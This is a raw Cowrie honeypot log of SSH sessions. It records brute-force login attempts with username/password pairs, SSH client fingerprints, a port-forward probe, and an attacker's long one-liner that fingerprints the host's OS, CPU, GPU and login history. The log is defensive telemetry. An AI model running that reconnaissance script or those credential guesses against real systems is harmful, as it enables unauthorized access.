{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.661334Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.664382Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.667275Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.670279Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.674147Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.676972Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.679852Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.683096Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.687119Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.690755Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:07.263971Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:07.371920Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":48599,"dst_ip":"159.203.135.109","dst_port":22,"session":"a46027721aae","protocol":"ssh","message":"New connection: 178.20.210.208:48599 (159.203.135.109:22) [session: a46027721aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:21.777929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:21.781666Z","src_ip":"178.20.210.208","session":"a46027721aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:21.879803Z","src_ip":"178.20.210.208","session":"a46027721aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx2013","message":"login attempt [root/1qaz2wsx2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:22.415119Z","src_ip":"178.20.210.208","session":"a46027721aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:23.578322Z","src_ip":"178.20.210.208","session":"a46027721aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:31.037793Z","src_ip":"89.223.69.22","session":"969b356381d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":59642,"dst_ip":"159.203.135.109","dst_port":22,"session":"b39569161e25","protocol":"ssh","message":"New connection: 176.53.159.196:59642 (159.203.135.109:22) [session: b39569161e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:33.747660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:33.752053Z","src_ip":"176.53.159.196","session":"b39569161e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:33.856800Z","src_ip":"176.53.159.196","session":"b39569161e25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:34.159527Z","src_ip":"176.53.159.196","session":"b39569161e25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:34.261787Z","session":"b39569161e25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:34.363265Z","src_ip":"176.53.159.196","session":"b39569161e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:34.465136Z","src_ip":"176.53.159.196","session":"b39569161e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.096784353256226,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:57.476210Z","src_ip":"170.64.224.25","session":"934b249c69a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34264,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d44022d942","protocol":"ssh","message":"New connection: 103.77.242.62:34264 (10.17.0.5:22) [session: 02d44022d942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:58.134467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:58.138989Z","src_ip":"103.77.242.62","session":"02d44022d942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:58.370930Z","src_ip":"103.77.242.62","session":"02d44022d942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hfdbkm","message":"login attempt [root/hfdbkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:59.069789Z","src_ip":"103.77.242.62","session":"02d44022d942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:18:00.303897Z","src_ip":"103.77.242.62","session":"02d44022d942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"477b84c149f8","protocol":"ssh","message":"New connection: 162.144.249.8:57148 (10.17.0.5:22) [session: 477b84c149f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:18:08.752056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:18:08.756392Z","src_ip":"162.144.249.8","session":"477b84c149f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:18:08.782426Z","src_ip":"162.144.249.8","session":"477b84c149f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bahamas","password":"Nassau#Bitc0!n$M@st3r","message":"login attempt [bahamas/Nassau#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:18:08.857812Z","src_ip":"162.144.249.8","session":"477b84c149f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:18:09.884968Z","src_ip":"162.144.249.8","session":"477b84c149f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":55378,"dst_ip":"10.17.0.5","dst_port":22,"session":"52f9d70448e3","protocol":"ssh","message":"New connection: 91.92.40.176:55378 (10.17.0.5:22) [session: 52f9d70448e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.258705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.262532Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.390465Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123","message":"login attempt [admin/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.640353Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.855720Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
